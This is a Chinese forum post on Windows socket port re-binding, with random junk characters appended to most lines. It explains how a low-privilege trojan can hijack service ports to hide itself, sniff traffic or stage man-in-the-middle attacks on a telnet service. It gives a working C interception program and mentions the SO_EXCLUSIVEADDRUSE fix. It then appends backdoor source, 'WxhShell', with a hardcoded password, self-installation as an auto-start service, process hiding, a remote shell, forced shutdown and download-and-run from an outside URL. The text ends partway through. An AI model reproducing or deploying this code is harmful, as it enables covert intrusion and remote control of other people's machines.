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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6(<~1{ X%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); UTK.tg  
'+q'H  
  saddr.sin_family = AF_INET; sw qky5_K  
;@ll  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); m)[wZP*e  
h@>rjeY@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5rHnU<H@y  
&J&w4"0N'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 '/yx_R K2?  
sNk>0 X[  
  这意味着什么?意味着可以进行如下的攻击: eFXi )tl  
wkZ2Y-#='  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1z};"A  
:DX/r  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) C1P t3  
` .sIZku  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^K 77V$v  
.k:&&sAz  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {z[HNSyRs  
ukDH@/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Alk* "p  
YI),q.3X~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9 <kkzy  
 _7j/[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4Utx 9^  
#;*ai\6>vD  
  #include 4Tzu"y  
  #include ry'^1~,  
  #include 0.Ol@fO  
  #include    =<FZ{4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   H;7H6fyZ  
  int main() c"sw@<HG  
  { _OxnHf:|  
  WORD wVersionRequested; Dgq[g_+l  
  DWORD ret; -_4jJxh=OB  
  WSADATA wsaData; e~ 78'UH  
  BOOL val; n%ArA])_&  
  SOCKADDR_IN saddr; !{~7)iq  
  SOCKADDR_IN scaddr; l& ^B   
  int err; X"khuyT_  
  SOCKET s; 8JFkeU%yO  
  SOCKET sc; IO&#)Ft  
  int caddsize; +$mskj0s  
  HANDLE mt; "RJk7]p`*  
  DWORD tid;   E~g}DKs_5  
  wVersionRequested = MAKEWORD( 2, 2 ); )RCqsFjK  
  err = WSAStartup( wVersionRequested, &wsaData ); J0WXH/:  
  if ( err != 0 ) { K?OX  
  printf("error!WSAStartup failed!\n"); Zn 5m.=z  
  return -1; /h.3<HI."*  
  } VX>t!JP p  
  saddr.sin_family = AF_INET; NMY!-Kv 5  
   &qI5*aQ8T  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }?qnwx.  
.HyiPx3^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); K~ /V  
  saddr.sin_port = htons(23); ']6#7NU  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UUEDCtF)  
  { cCbr-Z&  
  printf("error!socket failed!\n"); cp?P@-  
  return -1; z?_}+  
  } >93{=+  
  val = TRUE;  { e  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ZE(RvPW  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Sl<-)a:  
  { n]{}C.C=  
  printf("error!setsockopt failed!\n"); N8(x),  
  return -1; .Zt/e>K&  
  } oD}FJvV  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; WT {Cjn  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Vq7 kA "  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A`/7>'k/q[  
BMj&*p8R  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]<_!@J6k  
  { ;WAu]C|  
  ret=GetLastError(); _ktSTzH0  
  printf("error!bind failed!\n"); F5Q. Vh  
  return -1; +4p ;4/=  
  } U)%u`C0  
  listen(s,2); Pk]9.e1_  
  while(1) Ay6rUN1ef  
  { .&Gtw _  
  caddsize = sizeof(scaddr); qmyZbo|8&  
  //接受连接请求 @dKf]&h%%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }N9a!,{P=b  
  if(sc!=INVALID_SOCKET) ]~M {@h!<  
  { 9*Twx&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); m1; <T@  
  if(mt==NULL) k 5r*?Os  
  { b2f2WY |z>  
  printf("Thread Creat Failed!\n"); VM|)\?Q  
  break; .MPOUo/e  
  } ,F9wc<V8  
  } p[VCt" j  
  CloseHandle(mt); EGr5xR-  
  } )3\rp$]1  
  closesocket(s); ZU@jtqq  
  WSACleanup(); &ziB#(&:H  
  return 0; 8A]q!To  
  }   `/Jr8J_  
  DWORD WINAPI ClientThread(LPVOID lpParam) "lzg@=$|)  
  { 5e8-?w% e  
  SOCKET ss = (SOCKET)lpParam; iw;Alav"x  
  SOCKET sc; Ae zXou&  
  unsigned char buf[4096]; ?iO^b.'I#  
  SOCKADDR_IN saddr; 7IW7'klkvD  
  long num; \mit&EUh}  
  DWORD val; rtOW-cz  
  DWORD ret; p 8Hv7*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^O:RS g9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _r)nbQm&  
  saddr.sin_family = AF_INET; oqo8{hrdHk  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )4~XZt1r  
  saddr.sin_port = htons(23); G%/cV?18  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y k6WSurw  
  { RXvcy<  
  printf("error!socket failed!\n"); d }CMX$1  
  return -1; (X'K)*G#  
  } u}0t`w:  
  val = 100; .%h_W\M<l  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^o<Nz8  
  { F+^[8zK^  
  ret = GetLastError(); a2)*tbM 9\  
  return -1; t$D[,$G9  
  } ]>!_OCe&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V0B4<TTAo~  
  { . k DCcnm  
  ret = GetLastError(); ]V\ g$@  
  return -1; 52Ffle8  
  } j*\MUR=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) yG_.|%e  
  { ?& ^l8gE  
  printf("error!socket connect failed!\n"); $k=rd#3  
  closesocket(sc); Du4?n8 o  
  closesocket(ss); U.)eJ1a  
  return -1; *g.,[a0  
  } CA~S$H\"  
  while(1) yE/I)GOQjs  
  { %['F[Mo  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Nq1RAM  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 w8zQDPVB%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :{imRa-  
  num = recv(ss,buf,4096,0); #f@53Pxb  
  if(num>0) 9K y,oB  
  send(sc,buf,num,0); $>`8'I  
  else if(num==0) XwGJ 8&N  
  break; t/c^hTT  
  num = recv(sc,buf,4096,0); #Z5~a9rO  
  if(num>0) "lMWSCas  
  send(ss,buf,num,0); PkO(Y!  
  else if(num==0) 6n4S$a  
  break; \EqO;A%<  
  } ,peFNpi  
  closesocket(ss); 0(.C f.B~  
  closesocket(sc); u(qpdG||7  
  return 0 ; Y*Rqgpu $  
  } hD=D5LYAZ  
P=g+6-1  
KJ |1zCM  
========================================================== *V+fRN4 W  
\8H"lcj:  
下边附上一个代码,,WXhSHELL oOw"k*,h:S  
^ `9OA`2  
========================================================== lTNkmQ  
-UE-v  
#include "stdafx.h" c73ZEd+j  
aUQq<H'R  
#include <stdio.h> WocFID:b  
#include <string.h> WfI~l)  
#include <windows.h> Ds$;{wl#x  
#include <winsock2.h> F U%b"gP^  
#include <winsvc.h> |9@;Muq;  
#include <urlmon.h> R 1\]Y  
}'JPA&h|  
#pragma comment (lib, "Ws2_32.lib") /$Jh5Bv  
#pragma comment (lib, "urlmon.lib") f:>jH+o.S  
D-/A>  
#define MAX_USER   100 // 最大客户端连接数 HkCme_y"  
#define BUF_SOCK   200 // sock buffer e&kg[jU  
#define KEY_BUFF   255 // 输入 buffer gne c#j  
'McVaPav  
#define REBOOT     0   // 重启 T!AQJ:;1  
#define SHUTDOWN   1   // 关机 A#{*A  
\>Q,AyL  
#define DEF_PORT   5000 // 监听端口 ZGBcy}U(k  
+z_0?x  
#define REG_LEN     16   // 注册表键长度 #YV;Gp(2h  
#define SVC_LEN     80   // NT服务名长度 CK%W +";  
/ ffWmb_4  
// 从dll定义API R2{X? 2|$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ""=Vt]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  #Ki@=*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n ~)%ou  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (TsgVq]L  
-8: @xG2  
// wxhshell配置信息 0 $r{h}[^c  
struct WSCFG { 5VS<I\o}  
  int ws_port;         // 监听端口 R8]bi|e)  
  char ws_passstr[REG_LEN]; // 口令 xC]/i(+bA  
  int ws_autoins;       // 安装标记, 1=yes 0=no aeIR}'H|  
  char ws_regname[REG_LEN]; // 注册表键名 x3 <Lx^;  
  char ws_svcname[REG_LEN]; // 服务名 +-i@R%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s4\2lBU?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -u(#V#}OV?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HvU)GJ u b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yCVBG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :nn'>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hvwr!(|W  
)XWL'':bF  
}; :8FH{sqR  
z%z$'m  
// default Wxhshell configuration j  jQ=  
struct WSCFG wscfg={DEF_PORT, v}U;@3W8U  
    "xuhuanlingzhe", ]](hwj  
    1, ]H*=Z:riu  
    "Wxhshell", )ALcmC?!#  
    "Wxhshell", z'o+3 zq^  
            "WxhShell Service", O@VmV>m  
    "Wrsky Windows CmdShell Service", Ki2_Nh>tM  
    "Please Input Your Password: ", F$v G=3  
  1, |b'AWI81D  
  "http://www.wrsky.com/wxhshell.exe", w67Pw  
  "Wxhshell.exe" 8dNJZoV  
    }; lH 8?IkK,g  
ofV{SeD67  
// 消息定义模块 Gbhaibk O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^[6AOz+L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )Lq FZ~B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u&:jQ:[  
char *msg_ws_ext="\n\rExit."; }_S]!AWz  
char *msg_ws_end="\n\rQuit."; : s35{K  
char *msg_ws_boot="\n\rReboot..."; sj1x>  
char *msg_ws_poff="\n\rShutdown..."; BR*U9K|W  
char *msg_ws_down="\n\rSave to "; G!uxpZ   
wS*UXF&f  
char *msg_ws_err="\n\rErr!"; bk|>a=o3  
char *msg_ws_ok="\n\rOK!"; I[/u5V_b'  
H Zc;.jJ  
char ExeFile[MAX_PATH]; iD9GAe}x  
int nUser = 0; kE1u-EA  
HANDLE handles[MAX_USER]; R[6&{&E:  
int OsIsNt; !Wk "a7  
ay2.C BF  
SERVICE_STATUS       serviceStatus; pAYuOk9n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p("do1:  
W/+0gh7`,(  
// 函数声明 6mZFsB  
int Install(void); .nnAI@7E  
int Uninstall(void); EJZ2V>\_-0  
int DownloadFile(char *sURL, SOCKET wsh); Ec|#i  
int Boot(int flag); S; >_9  
void HideProc(void); gBN;j  
int GetOsVer(void); 7_LE2jpC,5  
int Wxhshell(SOCKET wsl); fu/v1~X  
void TalkWithClient(void *cs); [>fE{ ~Y  
int CmdShell(SOCKET sock); pq4frq  
int StartFromService(void); j`bOJTBE  
int StartWxhshell(LPSTR lpCmdLine); V@F~Cx  
SExd-=G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F C"dQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y0DBkg  
&( Z8G~h4  
// 数据结构和表定义 }Q*8QV  
SERVICE_TABLE_ENTRY DispatchTable[] = :%{8lanO  
{ ;G ?_^ 0  
{wscfg.ws_svcname, NTServiceMain}, MCvjdc3:  
{NULL, NULL} 3>Yec6Hs  
}; 3OTSLF/  
#'8E%4  
// 自我安装 \;~>AL*  
int Install(void) -LF^u;s8&S  
{ Q%6*S!~  
  char svExeFile[MAX_PATH]; 0YKG`W  
  HKEY key; Gg/K  
  strcpy(svExeFile,ExeFile); m$3&r2vgi  
m]85F^R0  
// 如果是win9x系统,修改注册表设为自启动 FXIQS'  
if(!OsIsNt) { ^ `!6Yax?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L(iWFy1& T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NVQ IRQ.  
  RegCloseKey(key); r__uPyIMG/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?>e-6*.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lUDzf J}3  
  RegCloseKey(key); 0h* AtZv_  
  return 0; <~]s+"oVc  
    } 3]T2Zp&;  
  } SOd(& >  
} hD"Tjd` P  
else { 1 #_R`(C{  
/.vB /{2  
// 如果是NT以上系统,安装为系统服务 6j0!$q^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8[eH8m#~$  
if (schSCManager!=0) cu |{cy-  
{ /P320[B}m&  
  SC_HANDLE schService = CreateService ~qRP.bV%f  
  ( #=h~Lr'UH  
  schSCManager, Q\}5q3  
  wscfg.ws_svcname, b}Jcj  
  wscfg.ws_svcdisp, r@ ]{`qA  
  SERVICE_ALL_ACCESS, A+AqlM+$i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }oU0J  
  SERVICE_AUTO_START, 4Xlq Ym  
  SERVICE_ERROR_NORMAL,  \:Q)Ef  
  svExeFile, xGN&RjPk\  
  NULL, X ZfT;!wF&  
  NULL, ?EdF&^[3rD  
  NULL, JPRl/P$  
  NULL, -(P"+g3T  
  NULL P)4SrqW_  
  ); b:oB $E  
  if (schService!=0) gW RSS=8%  
  { sdrALl;w|  
  CloseServiceHandle(schService); 7aS`S F  
  CloseServiceHandle(schSCManager); yqZKn=1:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^2=11  
  strcat(svExeFile,wscfg.ws_svcname); TX$j-TM'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SD |5v*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y}QtgZEt  
  RegCloseKey(key); a=Pl3Uo  
  return 0; du  Pzt  
    } U2seD5I  
  } w(0's'  
  CloseServiceHandle(schSCManager); h?jKq2`  
} id'E_]r  
} J#"@~Q+a`@  
\G:\36l  
return 1; *bsS%qD]  
} dL!PpLR$2  
u.43b8!  
// 自我卸载 C0J/FFBQ^  
int Uninstall(void) e2~&I`ct  
{ N2WQrTA:S+  
  HKEY key; "6o}g.  
<;G.(CK@n  
if(!OsIsNt) { [5yLg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w,n&K6<  
  RegDeleteValue(key,wscfg.ws_regname); edD19A  
  RegCloseKey(key); ~"xc 3(h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [jU.58*  
  RegDeleteValue(key,wscfg.ws_regname); ]hRCB=G  
  RegCloseKey(key); Tc$Jvy-G4A  
  return 0; \b6H4aQii  
  } M|xd9kA^  
} 1%g%I8W%  
} 4CCtLHb  
else { MF69n,(o  
j&~`H:=E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =f4>vo}@k  
if (schSCManager!=0) teIUSB[  
{ VXX7Y? !  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'W(!N%u  
  if (schService!=0)   
  { j#6@ cO'`  
  if(DeleteService(schService)!=0) { ap,%)on^  
  CloseServiceHandle(schService); = wEU+R_#o  
  CloseServiceHandle(schSCManager); _9*3Mr)2N  
  return 0; ^VabXGzo#  
  } h)7hk*I  
  CloseServiceHandle(schService); =MMU(0 E  
  } /{il;/Vj  
  CloseServiceHandle(schSCManager); dz_~_|  
} H}vq2|MN  
} _[M*o0[@W  
Qu]F<H*Y|  
return 1; ;&=c@>!xP#  
} vuN!7*d+  
:Aq==N_/2  
// 从指定url下载文件 R<]f[  
int DownloadFile(char *sURL, SOCKET wsh) !X5n'1&  
{ |}$ZOwc  
  HRESULT hr; w8~B@}%  
char seps[]= "/"; FK ? g  
char *token; \+3amkBe  
char *file; d^pzMaCI  
char myURL[MAX_PATH]; .Aj4?AXWc  
char myFILE[MAX_PATH]; L{&5Ets  
mQwP-s  
strcpy(myURL,sURL); LlbRr.wL  
  token=strtok(myURL,seps); 4}&$s  
  while(token!=NULL) D6z*J?3^#&  
  { $1KvL8  
    file=token; Ry_"sow4  
  token=strtok(NULL,seps); .A%*AlX  
  } M4rI]^lJ  
5=@q!8a*  
GetCurrentDirectory(MAX_PATH,myFILE); K%i9S;~  
strcat(myFILE, "\\"); `YL)[t? V  
strcat(myFILE, file); !I)wI~XF)5  
  send(wsh,myFILE,strlen(myFILE),0); G)cEUEf d  
send(wsh,"...",3,0); wB%N}bi!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d x52[W  
  if(hr==S_OK) +t[i68,%  
return 0; <gfkbDP2  
else Lfr>y_i;F  
return 1; i?^lEqy[  
?OD43y1rzd  
} ]&+,`1_q  
ku*H*o~  
// 系统电源模块 5,vw%F-m  
int Boot(int flag) RZ +SOZs7H  
{ >oYr=O  
  HANDLE hToken; fC|NK+Xd`  
  TOKEN_PRIVILEGES tkp; m0M;f+^  
o!$O+%4  
  if(OsIsNt) { qE:/~Q0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8r{:d i*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BU;o$"L  
    tkp.PrivilegeCount = 1; xryXO(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y*oH"]D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ng,< 4;  
if(flag==REBOOT) { qL;u59  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K (px-jY  
  return 0; LWX,u  
} HE BKRpt  
else { jVdRy{MH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?mq<#/qb  
  return 0; d$ f3 Cre  
} aWg*f*2f  
  } Z4VNm1qs  
  else { md S`nhb  
if(flag==REBOOT) { <0sT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GI. =\s  
  return 0; B QxU~s  
} .=`r?#0  
else { ))NiX^)8^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SJ0IEPk  
  return 0; G _1`NyI  
} hf('4^  
} |i~Ab!*8n  
P70]Ju  
return 1; .S{>?2  
} oj$^87KX  
7%` \E9t  
// win9x进程隐藏模块 *h9S\Pv>j  
void HideProc(void) Q |1-j  
{ P;' xa^Y  
rfH'&k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .e Jt]K  
  if ( hKernel != NULL ) f=,(0ygt/  
  { 5`t MHgQO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /\-iV)h1@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ] -}Zd\Rs  
    FreeLibrary(hKernel); W|,Y*l  
  } 8`]1Nt!*B  
~E^lKe  
return; Gm1[PAj  
} P(|+1$#[  
C]01(UoSZ  
// 获取操作系统版本 D-KQRe2@  
int GetOsVer(void) =G<i6%(^g  
{ 7SVq fWp  
  OSVERSIONINFO winfo; K (!+l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?7k%4~H t  
  GetVersionEx(&winfo); =jEh#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yRdME>_L  
  return 1; VdC,M;/=Z  
  else =[Z uE0c  
  return 0; i*l-w4D^U  
} `=QRC.b  
&)Z!A*w]  
// 客户端句柄模块 K3I|d;Y~X!  
int Wxhshell(SOCKET wsl) A8jj]J+  
{ 552yzn1  
  SOCKET wsh; }]BH "  
  struct sockaddr_in client; + r<d z  
  DWORD myID; I}hY @  
V;-$k@$b.  
  while(nUser<MAX_USER) 9\J6G8b>|I  
{ @o/126(k  
  int nSize=sizeof(client); *= ;M',nx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _X/`7!f  
  if(wsh==INVALID_SOCKET) return 1; 7FB aN7l  
r0'6\MS13  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  HQ0fY  
if(handles[nUser]==0) 2Y-NxW^]  
  closesocket(wsh); }j\_XaB  
else y} W-OLE  
  nUser++; jwQ(E  
  } sc)}r_|g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GB&^<@  
B{6wf)[O  
  return 0; yd+.hg&J  
} +[_mSt  
PgMU|O7To  
// 关闭 socket sCrOdJ6|  
void CloseIt(SOCKET wsh) \LbBK ~l-I  
{ fC<pCdsg  
closesocket(wsh); I/vQP+w O  
nUser--; 9o<5Z=  
ExitThread(0); /$Ca }>  
} 7,BULs\g  
L!l`2[F|  
// 客户端请求句柄 lk/[xQ/  
void TalkWithClient(void *cs) B3 NDx+%m  
{ #fQ}8UxU,  
[5T{`&  
  SOCKET wsh=(SOCKET)cs; MUjfqxTT  
  char pwd[SVC_LEN]; F15Yn  
  char cmd[KEY_BUFF]; &4}Uaxt)  
char chr[1]; *kM^l!<g  
int i,j; ~A-Y%P  
2}<_l 2  
  while (nUser < MAX_USER) { QoBM2Q YO  
!=SBeq  
if(wscfg.ws_passstr) { *+rWn*L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DV5K)m&G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +ebmve \+  
  //ZeroMemory(pwd,KEY_BUFF); appWq}db  
      i=0; ^0T DaZDLp  
  while(i<SVC_LEN) { )/mBq#ZS  
d")TH3pG  
  // 设置超时 gi#g)9HG  
  fd_set FdRead; !Sj0!\  
  struct timeval TimeOut; W9M~2< L  
  FD_ZERO(&FdRead); %}/|/=  
  FD_SET(wsh,&FdRead); tmVGJ+gz  
  TimeOut.tv_sec=8; #[B]\HO  
  TimeOut.tv_usec=0; zg+6< .Sf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y k @/+PE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6t!PHA  
hg Pzx@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); glI4Jb_[  
  pwd=chr[0]; s1kG:h2|$  
  if(chr[0]==0xd || chr[0]==0xa) { 6U(M HxY  
  pwd=0; qC:QY6g$N  
  break; jBLLx{  
  } ve&"x Nz<  
  i++; 5u=$m^@{  
    } /_{B_2i/>  
yNDplm|9*  
  // 如果是非法用户,关闭 socket [#mRlL0yk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (JI[y"2  
}  J]4pPDm  
B$D7}=|kc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8lZB3p]X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {$P')> /  
yO*HJpc   
while(1) { qS?uMms7w  
`E:&a]ul  
  ZeroMemory(cmd,KEY_BUFF); /kH 7I  
e?yrx6  
      // 自动支持客户端 telnet标准   LE]mguvs  
  j=0; Sece#K2J|  
  while(j<KEY_BUFF) { HY>zgf,0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?Jy /]j5fI  
  cmd[j]=chr[0]; 5e|yW0o  
  if(chr[0]==0xa || chr[0]==0xd) { W\1V`\gF  
  cmd[j]=0; 2uT"LW/(H  
  break; 8D:0Vhx\I  
  } Y:#nk.}>  
  j++; kT12  
    } p"tCMB  
Wz&[ cj  
  // 下载文件 Rn9e#_Az  
  if(strstr(cmd,"http://")) { H7?Sd(U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q<Z`<e  
  if(DownloadFile(cmd,wsh)) c5- 56 Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {NTMvJLm  
  else D&-cNxh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a%XF"*^v  
  }  eo&^~OVT  
  else { q .s'z}  
L&LAh&%{2  
    switch(cmd[0]) { dBb &sA-A  
   P0<)E  
  // 帮助 H{U(Rt]K  
  case '?': { 5[0W+W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,?oC+9w  
    break; ./i5VBP5  
  } `NB6Of*/  
  // 安装 w0&|8y  
  case 'i': { FXG,D J:  
    if(Install()) =x3T+)qCNX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %}[/lIxaE  
    else $i;m9_16  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b-?d(-  
    break; GWW#\0*Bn  
    } a%*W( 4=Y  
  // 卸载 sa w  
  case 'r': { c@|f'V4  
    if(Uninstall()) #I}w$j i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wf{&D>  
    else awU&{<,=g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <TEDqQ  
    break; 9][A1 +"  
    } d A>6  
  // 显示 wxhshell 所在路径 ',m!L@7M5  
  case 'p': { bR*} s/  
    char svExeFile[MAX_PATH]; RXw }Tb/D8  
    strcpy(svExeFile,"\n\r"); &|I{ju_  
      strcat(svExeFile,ExeFile); -58Sb"f  
        send(wsh,svExeFile,strlen(svExeFile),0); 1qm _Qs&  
    break; qlm7eS"sy  
    } o7kQ&w   
  // 重启 #ja6nt8GC  
  case 'b': { J*D3=5&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s)~Wcp'+M:  
    if(Boot(REBOOT)) $J9/AFzO"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Hq6nT/  
    else { ->r udRQ  
    closesocket(wsh); BT|n+Y[  
    ExitThread(0); OMm'm\+/  
    } ~u-_DOA  
    break; :V~ AjV  
    } W(o#2;{ ln  
  // 关机 jZR2Nx}16  
  case 'd': { k2:mIp\  
